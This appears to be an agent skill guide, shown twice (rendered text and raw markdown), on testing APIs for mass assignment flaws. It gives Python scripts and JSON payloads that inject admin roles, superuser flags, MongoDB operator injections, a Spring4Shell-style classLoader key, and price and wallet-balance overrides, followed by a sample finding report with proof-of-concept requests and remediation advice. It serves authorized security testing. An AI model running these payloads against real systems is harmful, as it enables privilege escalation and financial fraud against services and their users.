Testing API for Mass Assignment Vulnerability
When to Use
- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
- Testing APIs built with ORMs that auto-bind request parameters to database models
- Validating that server-side input validation restricts writeable properties per user role
Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
Prerequisites
- Written authorization specifying target API endpoints and scope
- Test accounts at different privilege levels
- API documentation or OpenAPI specification to identify expected request fields
- Burp Suite Professional for request interception and parameter injection
- Python 3.10+ with
requests library
- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
Workflow
Step 1: Identify Writable Endpoints and Expected Parameters
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
Step 2: Inject Privileged Fields
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "test@example.com"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
Step 3: Verify Assignment Through State Change
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""
# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value is not None:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
return match
return False
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
Step 4: Framework-Specific Testing
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
Step 5: Order and Financial Object Mass Assignment
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields
"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
if float(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
if float(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
Key Concepts
| Term |
Definition |
| Mass Assignment |
Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |
| Auto-Binding |
Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |
| Allowlist (Whitelist) |
Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |
| Blocklist (Blacklist) |
Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |
| Object Property Level Authorization |
OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access |
| DTO (Data Transfer Object) |
Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |
Tools & Systems
- Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
- Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
- Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
- OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
- Postman: API testing platform for crafting requests with injected parameters and verifying responses
Common Scenarios
Scenario: SaaS User Registration Mass Assignment
Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach:
- Register a new user with only expected fields:
POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} - returns user with role: "user"
- Register another user with injected role:
POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} - returns user with role: "admin"
- Confirm admin access by calling admin endpoints with the new account
- Test additional fields:
is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features
- Test profile update endpoint:
PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified
Pitfalls:
- Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
- Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
- Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
- Missing nested object mass assignment where fields like
user.role or address.verified can be injected
Output Format
## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
1---
2name: testing-api-for-mass-assignment-vulnerability
3description: 'Tests APIs for mass assignment (auto-binding) vulnerabilities where
4 clients can modify object properties they should not have access to by including
5 additional parameters in API requests. The tester identifies writable endpoints,
6 adds undocumented fields to request bodies (role, isAdmin, price, balance), and
7 checks if the server binds these to the data model without filtering. Part of OWASP
8 API3:2023 Broken Object Property Level Authorization. Activates for requests involving
9 mass assignment testing, parameter binding abuse, auto-binding vulnerability, or
10 API over-posting.
11
12 '
13domain: cybersecurity
14subdomain: api-security
15tags:
16- api-security
17- owasp
18- mass-assignment
19- auto-binding
20- parameter-tampering
21version: 1.0.0
22author: mahipal
23license: Apache-2.0
24nist_csf:
25- PR.PS-01
26- ID.RA-01
27- PR.DS-10
28- DE.CM-01
29mitre_attack:
30- T1190
31- T1059.007
32- T1552.001
33- T0816
34- T0836
35source: https://github.com/mukul975/Anthropic-Cybersecurity-Skills
36source_commit: 04450304b12645cb2b974ab96d28c0664758a88d
37note: "Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics/threat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy."
38metadata:
39 source: https://skillmd.com/skills/yanacuti1121/testing-api-for-mass-assignment-vulnerability
40---
41
42# Testing API for Mass Assignment Vulnerability
43
44## When to Use
45
46- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
47- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
48- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
49- Testing APIs built with ORMs that auto-bind request parameters to database models
50- Validating that server-side input validation restricts writeable properties per user role
51
52**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
53
54## Prerequisites
55
56- Written authorization specifying target API endpoints and scope
57- Test accounts at different privilege levels
58- API documentation or OpenAPI specification to identify expected request fields
59- Burp Suite Professional for request interception and parameter injection
60- Python 3.10+ with `requests` library
61- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
62
63## Workflow
64
65### Step 1: Identify Writable Endpoints and Expected Parameters
66
67```python
68import requests
69import json
70import copy
71
72BASE_URL = "https://target-api.example.com/api/v1"
73user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
74
75# Identify endpoints that accept write operations
76writable_endpoints = [
77 {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
78 {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
79 {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
80 {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
81 {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
82 {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
83 {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
84 {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
85]
86
87# First, get the current user state as baseline
88baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
89print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
90```
91
92### Step 2: Inject Privileged Fields
93
94```python
95# Fields that should never be user-writable
96PRIVILEGE_FIELDS = {
97 "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
98 "account_type": "admin", "accountType": "admin"},
99 "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
100 "is_superuser": True, "isSuperuser": True, "superuser": True},
101 "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
102 "groups": ["administrators"], "roles": ["admin"]},
103 "account_status": {"is_active": True, "isActive": True, "verified": True,
104 "email_verified": True, "is_verified": True, "status": "active"},
105 "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
106 "price": 0.01, "amount": 0.01},
107 "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
108 "created_by": 1, "createdBy": 1},
109 "internal": {"internal_notes": "test", "debug": True, "hidden": False,
110 "is_deleted": False, "is_featured": True, "priority": 0},
111 "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
112 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
113}
114
115def test_mass_assignment(endpoint_info):
116 """Test a writable endpoint for mass assignment vulnerabilities."""
117 method = endpoint_info["method"]
118 path = endpoint_info["path"]
119 expected = endpoint_info["expected_fields"]
120 findings = []
121
122 # Build a valid base request
123 base_body = {}
124 for field in expected:
125 if field == "email":
126 base_body[field] = "test@example.com"
127 elif field == "password":
128 base_body[field] = "SecurePass123!"
129 elif field == "name":
130 base_body[field] = "Test User"
131 elif field == "items":
132 base_body[field] = [{"product_id": 1, "quantity": 1}]
133 else:
134 base_body[field] = "test_value"
135
136 # Test each category of privileged fields
137 for category, fields in PRIVILEGE_FIELDS.items():
138 test_body = {**base_body, **fields}
139 resp = requests.request(method, f"{BASE_URL}{path}",
140 headers=user_headers, json=test_body)
141
142 if resp.status_code in (200, 201):
143 # Verify if the fields were actually set
144 resp_data = resp.json()
145 for field_name, injected_value in fields.items():
146 actual = resp_data.get(field_name)
147 if actual is not None and str(actual) == str(injected_value):
148 findings.append({
149 "endpoint": f"{method} {path}",
150 "category": category,
151 "field": field_name,
152 "injected_value": injected_value,
153 "confirmed": True
154 })
155 print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
156
157 return findings
158
159all_findings = []
160for endpoint in writable_endpoints:
161 findings = test_mass_assignment(endpoint)
162 all_findings.extend(findings)
163
164print(f"\nTotal mass assignment findings: {len(all_findings)}")
165```
166
167### Step 3: Verify Assignment Through State Change
168
169```python
170def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
171 """Verify that the mass-assigned field actually persists in the database."""
172 # Re-fetch the object to confirm the field was saved
173 resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
174 if resp.status_code == 200:
175 current_state = resp.json()
176 actual_value = current_state.get(field_name)
177 if actual_value is not None:
178 match = str(actual_value) == str(injected_value)
179 print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
180 return match
181 return False
182
183# Test role elevation via profile update
184print("\n=== Role Elevation Test ===")
185# Step 1: Check current role
186me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
187print(f"Current role: {me.get('role', 'unknown')}")
188
189# Step 2: Attempt to set admin role
190update_resp = requests.put(f"{BASE_URL}/users/me",
191 headers=user_headers,
192 json={"name": me.get("name", "Test"), "role": "admin"})
193print(f"Update response: {update_resp.status_code}")
194
195# Step 3: Verify if role changed
196me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
197print(f"Role after update: {me_after.get('role', 'unknown')}")
198if me_after.get("role") == "admin":
199 print("[CRITICAL] Mass assignment: Role elevated to admin")
200
201# Step 4: Test admin access
202admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
203if admin_resp.status_code == 200:
204 print("[CRITICAL] Admin access confirmed after role elevation")
205```
206
207### Step 4: Framework-Specific Testing
208
209```python
210# Ruby on Rails / Active Record style
211rails_payloads = [
212 {"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
213 {"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
214]
215
216# Django REST Framework style
217django_payloads = [
218 {"username": "test", "is_staff": True, "is_superuser": True},
219 {"username": "test", "groups": [1]}, # Add to admin group by ID
220]
221
222# Express.js / Mongoose style
223express_payloads = [
224 {"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
225 {"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
226]
227
228# Spring Boot / JPA style
229spring_payloads = [
230 {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
231 {"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
232]
233
234# Test each framework-specific payload
235for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
236 resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
237 if resp.status_code in (200, 201):
238 print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
239```
240
241### Step 5: Order and Financial Object Mass Assignment
242
243```python
244# Test price/amount manipulation in e-commerce APIs
245print("\n=== Financial Mass Assignment Tests ===")
246
247# Test 1: Create order with manipulated price
248order_body = {
249 "items": [{"product_id": 42, "quantity": 1}],
250 "shipping_address": {"street": "123 Test St", "city": "Test City"},
251 # Injected fields
252 "total": 0.01,
253 "subtotal": 0.01,
254 "discount_percent": 100,
255 "coupon_code": "FREEORDER",
256 "shipping_cost": 0,
257 "tax": 0,
258}
259
260resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
261if resp.status_code in (200, 201):
262 order = resp.json()
263 print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
264 if float(order.get("total", 999)) < 1.0:
265 print("[CRITICAL] Price manipulation via mass assignment")
266
267# Test 2: Modify order status
268resp = requests.patch(f"{BASE_URL}/orders/1001",
269 headers=user_headers,
270 json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
271if resp.status_code == 200:
272 print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
273
274# Test 3: User balance manipulation
275resp = requests.put(f"{BASE_URL}/users/me/wallet",
276 headers=user_headers,
277 json={"amount": 10, "balance": 99999.99, "currency": "USD"})
278if resp.status_code == 200:
279 wallet = resp.json()
280 if float(wallet.get("balance", 0)) > 10000:
281 print("[CRITICAL] Wallet balance manipulation via mass assignment")
282```
283
284## Key Concepts
285
286| Term | Definition |
287|------|------------|
288| **Mass Assignment** | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |
289| **Auto-Binding** | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |
290| **Allowlist (Whitelist)** | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |
291| **Blocklist (Blacklist)** | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |
292| **Object Property Level Authorization** | OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access |
293| **DTO (Data Transfer Object)** | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |
294
295## Tools & Systems
296
297- **Burp Suite Professional**: Intercept write requests and inject additional parameters using Repeater and Intruder
298- **Param Miner (Burp Extension)**: Automatically discovers hidden parameters by fuzzing request bodies and headers
299- **Arjun**: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
300- **OWASP ZAP**: Active scanner with parameter injection capabilities for mass assignment detection
301- **Postman**: API testing platform for crafting requests with injected parameters and verifying responses
302
303## Common Scenarios
304
305### Scenario: SaaS User Registration Mass Assignment
306
307**Context**: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
308
309**Approach**:
3101. Register a new user with only expected fields: `POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"}` - returns user with `role: "user"`
3112. Register another user with injected role: `POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"}` - returns user with `role: "admin"`
3123. Confirm admin access by calling admin endpoints with the new account
3134. Test additional fields: `is_verified: true` bypasses email verification, `subscription_plan: "enterprise"` grants premium features
3145. Test profile update endpoint: `PUT /api/v1/users/me {"name":"Test","balance":99999}` - wallet balance modified
315
316**Pitfalls**:
317- Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
318- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
319- Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
320- Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
321- Missing nested object mass assignment where fields like `user.role` or `address.verified` can be injected
322
323## Output Format
324
325```
326## Finding: Mass Assignment Enables Role Elevation via Registration API
327
328**ID**: API-MASS-001
329**Severity**: Critical (CVSS 9.8)
330**OWASP API**: API3:2023 - Broken Object Property Level Authorization
331**Affected Endpoints**:
332 - POST /api/v1/register
333 - PUT /api/v1/users/me
334 - POST /api/v1/orders
335
336**Description**:
337The API binds all client-supplied JSON fields directly to the database model
338without filtering. An attacker can include undocumented fields in registration
339and update requests to elevate their role to admin, bypass email verification,
340modify wallet balances, and manipulate order pricing.
341
342**Proof of Concept**:
3431. Register with injected role:
344 POST /api/v1/register
345 {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
346 Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
347
3482. Update profile with injected balance:
349 PUT /api/v1/users/me
350 {"name":"Attacker","balance":99999.99}
351 Response: {"id":5001,"balance":99999.99}
352
3533. Create order with manipulated price:
354 POST /api/v1/orders
355 {"items":[{"product_id":42,"qty":1}],"total":0.01}
356 Response: {"order_id":8001,"total":0.01}
357
358**Impact**:
359Any user can gain administrative access, manipulate financial data,
360bypass security controls, and purchase products at arbitrary prices.
361
362**Remediation**:
3631. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
3642. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3653. Never bind request parameters directly to the data model
3664. Add integration tests that verify undocumented fields are rejected
3675. Use an allowlist approach rather than blocklist for writable fields
368```